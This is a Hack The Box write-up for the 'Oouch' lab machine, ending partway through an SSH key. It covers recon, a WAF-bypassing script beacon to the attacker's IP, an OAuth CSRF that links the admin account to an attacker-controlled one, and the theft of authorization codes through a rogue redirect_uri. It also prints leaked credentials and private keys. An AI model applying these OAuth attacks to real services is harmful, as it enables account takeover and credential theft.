HTB: Oouch

Details

This machine is Oouch from Hack The Box

Recon

I started with a masscan

kali@kali:~$ sudo masscan --router-ip 10.10.14.0 -p0-65535,U:0-65535 -e tun0 --rate=1000 10.10.10.177

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-02-29 21:37:45 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 8000/tcp on 10.10.10.177
Discovered open port 22/tcp on 10.10.10.177
Discovered open port 5000/tcp on 10.10.10.177
Discovered open port 21/tcp on 10.10.10.177 

And then an nmap scan

kali@kali:~$ sudo nmap -sV -p21,22,5000,8000 10.10.10.177
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-29 21:43 GMT
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.10.177
Host is up (0.027s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
5000/tcp open  http    nginx 1.14.2
8000/tcp open  rtsp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=2/29%Time=5E5ADB24%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</
SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req
SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1
SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization
SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth
SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds

User

I first checked the ftp server

kali@kali:~$ ftp 10.10.10.177
Connected to 10.10.10.177.
220 qtc's development server

Name (10.10.10.177:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Feb 11 18:34 .
drwxr-xr-x    2 ftp      ftp          4096 Feb 11 18:34 ..
-rw-r--r--    1 ftp      ftp            49 Feb 11 18:34 project.txt
226 Directory send OK.

ftp> get project.txt
local: project.txt remote: project.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for project.txt (49 bytes).
226 Transfer complete.
49 bytes received in 0.00 secs (1.2297 MB/s)

I then inspected the file

kali@kali:~$ cat project.txt
Flask -> Consumer
Django -> Authorization Server

Onto the webserver http://10.10.10.177:5000/

Screenshot 1

And then the port 8000 one

Screenshot 2

On the port 5000 server, I clicked sign up

Screenshot 3

And made an account with the following details

jack
fake@email.comm
password

Screenshot 4

Note: There were lots of 500 server errors in this box, it turned out to be an issue with the box itself and not intended

I tried again with the username jack2 and got redirected to login. So I logged in

Screenshot 5

I checked out the various pages, starting with profile

Screenshot 6

Then password change

Screenshot 7

Next was documents

Screenshot 8

Then about

Screenshot 9

Finally contact

Screenshot 10

I decided to fuzz for directories. Using wfuzz as it worked nicely with setting my session

kali@kali:~$ wfuzz --hc 404 -b "session=.eJzFkDFuwzAMRa-iag4KS7RkOaco2qFDEQQU9ZW4ceLCkqcgd6_QHqFDJ4L_84GfvOtjnrmcUfT-465VbUVfUQqfoHf6ZQYXqHk5qemm6qJYpJmqnqeivtrMsz48dv_PveI0lbpynZabett-oLzNT-odsyxXqE-Wi336w9LDrn1qRTnrfV03tG5Keq8pswdyL5ao7xh5NI4w-mwNfMe-9y7YLClHMQEuOeckjEjeNdUI85AQqDOI3Th0hgJ5ayGU4hCDs55joq4XguUQQXZoKDw1UQbyIbX4UtZ8rMsFt5bHBBfRi2FncoidsJEMMT4YGikbNmkkDLCN2wrW3yN6_fgGo5ejmQ.Xlrepg.I6MDWGBBDfHrozOwyGCaAJ08xLU" -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt 'http://10.10.10.177:5000/FUZZ'

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.177:5000/FUZZ
Total requests: 119600

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000009:   302        3 L      24 W     217 Ch      "login"
000000025:   302        3 L      24 W     217 Ch      "register"
000000036:   200        66 L     195 W    2909 Ch     "contact"
000000049:   200        70 L     193 W    2974 Ch     "profile"
000000053:   302        3 L      24 W     219 Ch      "logout"
000000140:   200        54 L     154 W    2167 Ch     "home"
000000171:   200        53 L     157 W    2219 Ch     "about"
000000337:   200        52 L     146 W    2101 Ch     "documents"
000006648:   200        54 L     173 W    2511 Ch     "oauth"

So I checked out the oauth page

Screenshot 11

I added the domain to hosts and visited http://consumer.oouch.htb:5000/oauth/connect which redirected to

http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read

I added that domain to hosts too, which in turn redirected to http://authorization.oouch.htb:8000/login/

Screenshot 12

My creds from port 5000 didn't work here, so I clicked register

Screenshot 13

Screenshot 14

I signed up here, but didn't include any ssh details and then clicked login

Screenshot 15

I then went to http://10.10.10.177:5000/oauth and clicked login which led to http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read

Screenshot 16

I then clicked authorize

Screenshot 17

At this point I returned to the contact form and attempted an xss

Screenshot 18

They have a waf, but I bypassed it with

<sCrIPT>new Image().src="http://10.10.14.27/img"</sCrIPT>

Which led to

10.10.10.177 - - [29/Feb/2020 23:27:53] code 404, message File not found
10.10.10.177 - - [29/Feb/2020 23:27:53] "GET /img HTTP/1.1" 404 -
10.10.10.177 - - [29/Feb/2020 23:27:53] code 404, message File not found
10.10.10.177 - - [29/Feb/2020 23:27:53] "GET /img HTTP/1.1" 404 -
10.10.10.177 - - [29/Feb/2020 23:27:53] code 404, message File not found
10.10.10.177 - - [29/Feb/2020 23:27:53] "GET /img HTTP/1.1" 404 -

Coming up in my python server. It later turned out this isn't actually XSS, and the user visits any link you send them. But I moved back to fuzzing this time on port 8000

kali@kali:~$ wfuzz --hc 404 -b "sessionid=bk8p0iq74yccs3fbrtg5gf2xmykqgky4" -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt 'http://authorization.oouch.htb:8000/oauth/FUZZ'
sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://authorization.oouch.htb:8000/oauth/FUZZ
Total requests: 119600

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000001234:   301        0 L      0 W      0 Ch        "applications"
000005490:   301        0 L      0 W      0 Ch        "authorize"
000006951:   301        0 L      0 W      0 Ch        "token" 

Visited http://authorization.oouch.htb:8000/oauth/applications/

Screenshot 19

More fuzzing then

kali@kali:~$ wfuzz --hc 404 -b "sessionid=bk8p0iq74yccs3fbrtg5gf2xmykqgky4" -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt 'http://authorization.oouch.htb:8000/oauth/applications/FUZZ'

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://authorization.oouch.htb:8000/oauth/applications/FUZZ
Total requests: 119600

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000025:   301        0 L      0 W      0 Ch        "register"  

Which led to http://authorization.oouch.htb:8000/oauth/applications/register/

Screenshot 20

At this point I got kinda stumped. But I eventually found a way forward utilising an attack against the process of linking accounts on the port 5000 to the oauth on port 8000. To do this, I created a new account on the port 8000 but didn't tie it to a port 5000 account. Instead I went to http://consumer.oouch.htb:5000/oauth, and followed most of the process. Instead using burp to drop the final request (with token in the url) and save the url for it myself. Which was

http://consumer.oouch.htb:5000/oauth/connect/token?code=kX9vOBlVO9eXdp3jDVrc36jWCcBGG8

I then sent this url into the contact admin form, getting them to click it instead. This caused the admin account for the port 5000 website to be linked to a port 8000 oauth account under my control. As such I logged out of port 5000 and went to http://consumer.oouch.htb:5000/oauth/login, where I logged in using the oauth resulting in

Screenshot 21

I was logged into the admin account, so I clicked on the documents tab

Screenshot 22

Some creds of

develop : supermegasecureklarabubu123!

Which I believed to be for http://authorization.oouch.htb:8000/oauth/applications/register/, so I tried them

Screenshot 23

Here I made an application, the Id I was given was

CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8

The secret was

98MkeNubvET8KCKUTYJQ8DqPDEeV3uRyClLEqQMgJpe5waA4ylbxVUuZmcfydfYG8Kq2VIf1IscRTlUeBXulsvoTN8tLuyO6UzLam9wZu9ZnKNCeDt9AhULWZJr1q0BK

I then set the client type to confidential and the authorization grant type to Authorization code. For the redirect uris, I submitted the following

http://10.10.14.27/jirbj1
http://10.10.14.27/jirbj2
http://10.10.14.27/jirbj3

This resulted in me being sent to http://authorization.oouch.htb:8000/oauth/applications/2/

Screenshot 24

So I decided to test the oauth process using my own client with the following url

http://authorization.oouch.htb:8000/oauth/authorize/?client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&response_type=code&redirect_uri=http://10.10.14.27/jirbj1&scope=read

Screenshot 25

I clicked authorize and got sent to http://10.10.14.27/jirbj1?code=3PFInEqYDUMY2qGVZGy1mryp28JAVj, so I had a token and I did it from the qtc account so I hoped to be able to use it to get their details from the api. I used this blog post for reference https://developer.okta.com/blog/2018/04/10/oauth-authorization-code-grant-type

kali@kali:~# curl -X POST --data "grant_type=authorization_code&code=ExLTcMMmgsvxbLLPd68ipGBJo8xzCA&client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&client_secret=98MkeNubvET8KCKUTYJQ8DqPDEeV3uRyClLEqQMgJpe5waA4ylbxVUuZmcfydfYG8Kq2VIf1IscRTlUeBXulsvoTN8tLuyO6UzLam9wZu9ZnKNCeDt9AhULWZJr1q0BK" 'http://authorization.oouch.htb:8000/oauth/token/'
{"access_token": "NXxQwB5rmXtTUjn3c9fu3GxiX34jvg", "expires_in": 600, "token_type": "Bearer", "scope": "read", "refresh_token": "83wedJIyAzrvvvB0HTgm1mxsaxY6EL"}

kali@kali:~# curl http://authorization.oouch.htb:8000/api/get_user -H "Authorization: Bearer NXxQwB5rmXtTUjn3c9fu3GxiX34jvg"
{"username": "meme2", "firstname": "Memelord", "lastname": "Lordmeme", "email": "lol@lol.com"}

It had used my accounts details. But I believed I had the right idea. I realised the docs had mentioned that GET could be used for authorization now in these urls. So I added &allow=Authorize to the request I was sending. Which resulted in me sending the following link into the contact form

http://authorization.oouch.htb:8000/oauth/authorize/?client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&response_type=code&redirect_uri=http://10.10.14.27/jirbj1&scope=read+write&allow=Authorize

And getting the following back

10.10.10.177 - - [01/Mar/2020 14:10:50] "GET /jirbj1?code=WJL1q5OtNnh1AbHcjkX1ni0H7N5p9D HTTP/1.1" 404 -

That token should be for the qtc user. So I tried the api again

kali@kali:~$ curl -X POST --data "grant_type=authorization_code&code=WJL1q5OtNnh1AbHcjkX1ni0H7N5p9D&client_id=CnEWiXN4FD4nZUULexqDlkyEmi6hBs44VpBnoxI8&client_secret=98MkeNubvET8KCKUTYJQ8DqPDEeV3uRyClLEqQMgJpe5waA4ylbxVUuZmcfydfYG8Kq2VIf1IscRTlUeBXulsvoTN8tLuyO6UzLam9wZu9ZnKNCeDt9AhULWZJr1q0BK" 'http://authorization.oouch.htb:8000/oauth/token/'
{"access_token": "KDKzZO2In9fzlcvIECDMNfZaQE2oRI", "expires_in": 600, "token_type": "Bearer", "scope": "read write", "refresh_token": "BJMfBqwQaMAvKKZMWB8BR1GaEVe5qv"}

kali@kali:~$ curl  'http://authorization.oouch.htb:8000/api/get_user' -H "Authorization: Bearer KDKzZO2In9fzlcvIECDMNfZaQE2oRI"
{"username": "qtc", "firstname": "", "lastname": "", "email": "qtc@nonexistend.nonono"}

It had worked but the ssh details weren't included. A little bit of testing later and I thought that as I got the user details from /get_user maybe the ssh details were under get_ssh, so I tried it

kali@kali:~$ curl  'http://authorization.oouch.htb:8000/api/get_ssh' -H "Authorization: Bearer KDKzZO2In9fzlcvIECDMNfZaQE2oRI"
{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY-----"}

Which cleaned up to

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

I used this to login as qtc

kali@kali:~$ ssh qtc@10.10.10.177 -i ./private.key
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
qtc@oouch:~$

And grab the user flag

qtc@oouch:~$ ls -la
total 36
drwxr-xr-x 4 qtc  qtc  4096 Feb 25 12:45 .
drwxr-xr-x 3 root root 4096 Feb 11 18:11 ..
lrwxrwxrwx 1 root root    9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 qtc  qtc   220 Feb 11 18:11 .bash_logout
-rw-r--r-- 1 qtc  qtc  3526 Feb 11 18:11 .bashrc
drwx------ 3 qtc  qtc  4096 Feb 25 12:45 .gnupg
-rw-r--r-- 1 root root   55 Feb 11 18:34 .note.txt
-rw-r--r-- 1 qtc  qtc   807 Feb 11 18:11 .profile
drwx------ 2 qtc  qtc  4096 Feb 11 18:34 .ssh
-rw------- 1 qtc  qtc    33 Feb 11 18:34 user.txt

qtc@oouch:~$ cat user.txt
[REDACTED]

Root

I took a look at the note file

qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?

Potentially interesting, so I fired up pspy

020/03/01 15:52:01 CMD: UID=0    PID=5857   | /bin/sh -c /root/get_pwnd.py > /root/get_pwnd.log  2>&1
2020/03/01 15:52:01 CMD: UID=0    PID=5858   | /bin/sh -c /usr/sbin/iptables -F PREROUTING -t mangle 

Interesting but not yet helpful. So I dug some more

qtc@oouch:~/.ssh$ ls -la
total 16
drwx------ 2 qtc qtc 4096 Feb 11 18:34 .
drwxr-xr-x 4 qtc qtc 4096 Mar  1 15:48 ..
-rwx------ 1 qtc qtc  568 Feb 11 18:34 authorized_keys
-r-------- 1 qtc qtc 2602 Feb 11 18:34 id_rsa

qtc@oouch:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA2oh2lzXVMy8Z5ZhCNcvg1kUIxBCzQPhnCtbxEF5gBWJvX+hrm21r
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE
TSRUv2YIfCGTi1ND553pywvGStwq4rUXIcxtEBysYFf+rTD5psyCpNAJO4osWivIc67Snz
zQiN0D3vJFxtSmJzKKPJmenNwg1Fnr5XQCvptYu65bjkTUcJ+q+CgBsHT9qlHbTEdrqOwj
pdrebhrbmLQUa4QGXv0ut+3/1TK6z6vPtge3W/p3tap+Fsg/7D8X+K32Q8Jb1yenLXyjGF
K1evXjLSCmolNxWBql03wGjm5haztPvk7wf2XB+IdtXnVTwp9hyeKR1BWWmAxFCndh6OtT
dHIBlGFlnPpnAqAsciy0mjiQL9r7YxK1fWJMixljAAAFiA2O9SwNjvUsAAAAB3NzaC1yc2
EAAAGBANqIdpc11TMvGeWYQjXL4NZFCMQQs0D4ZwrW8RBeYAVib1/oa5tta92S3pCSC9ZO
+HsWcszlTix18o8W/qY1lnAdn2c3EHiBH7kHkQY4jNf4P64OZ1t7ev4wTwTry3VpRzAsRt
rrEX48StC6IQEJ2BwfjTl1gwKW79qlxw76i6AP5ClY4WEc0T1U5YdkPf76hE0kVL9mCHwh
k4tTQ+ed6csLxkrcKuK1FyHMbRAcrGBX/q0w+abMgqTQCTuKLForyHOu0p880IjdA97yRc
bUpicyijyZnpzcINRZ6+V0Ar6bWLuuW45E1HCfqvgoAbB0/apR20xHa6jsI6Xa3m4a25i0
FGuEBl79Lrft/9Uyus+rz7YHt1v6d7WqfhbIP+w/F/it9kPCW9cnpy18oxhStXr14y0gpq
JTcVgapdN8Bo5uYWs7T75O8H9lwfiHbV51U8KfYcnikdQVlpgMRQp3YejrU3RyAZRhZZz6
ZwKgLHIstJo4kC/a+2MStX1iTIsZYwAAAAMBAAEAAAGAHPvEXsGxCRzSHnVXMrNbmo+FXh
uo6pEHeZSQXE9oBM7NXrcArpiQmc6E3j/Aeif3JLwRdcNj3tm11eyC0aCB11TWc2YGNTVK
88thHKYbZ/lw2LDoXGXAJj5Z/JkZXvUbj/QPYbGTnF56vbwx7GVV2EUHAfvn6EwEe8dI41
+vbQcuh51WJv8fcTb1SkOtRUgMi/6pjskFjxEU9IGSnAGBpIBnSD5zIaZK7xyhymVDJ3QE
Pwwj0E+HdDxzPQZSY5MywAOV6Zjnp+xmH/f4mCoZD5pvrS37IUCxn/YfyS+mbX/d7ktr3N
5oW2AqmefgxeoLi4sOuG0QKTB9m/SSszgdQIResrjyUZ8zT2fit3uTF3PiJ0vMpePR1Mir
iV/0I/mAj/ltbV8Rw8Y8xfRtbwWdwo93pVq2OwnFBwjn9S33cctB11xzV5kalbs8wHBilF
YANrxNwOPlmQLHml1hD155y8+R8pfjGqDV+rkVjnRr8zpbZ620LqI5t1FyxlSs0U/BAAAA
wFZ9hd5CMep215pK70sm40vcdm5A0oouxcUA7eJ5uHlsSN7R04yGsv8ljZz+2JXUFtu5kQ
bpDsSZuwN9svPwnqSF/21wO+3Tz/ohGR1j5wolcF54Kh0P5f/HoLlnJLMZvI+k3FRFPfaF
MYNp/Fvyj+Bi05nPgqb/yGQNx4veLGN0el0ffPqpquP+deljnU5jrwA/BUonh9tX9P/yP9
TO/iH8RPOjJFMgh1zXNElNWCitEuOBU855xXnedqGBhpea2gAAAMEA8cgPi7OuyBWcQIj8
FK4GVupY6k6PfulC/WAca3xKIy0QTUCJrv1j6HRhYej8+ckVMOw9v4m8EZEGOkc7MYkQLT
w2KgrCR4pDIoYjq/sBr6b6FKudSLM3Rw/c8vHnczsQYCRdNdX4duT/j2uloIshKE+3trBt
PKYzWul3Yalo+o3eu1yaCcdkOybD+Jm9uxf6KjB7Zpu9Mxxx67DyIGlLJVIHMOWPotuM9F
IZ9bPoRtHCFy0pqhQzWK9Mj5u3AQY5AAAAwQDnYme9N1XM6WQxBbjncHRo3C69r8bsHtex
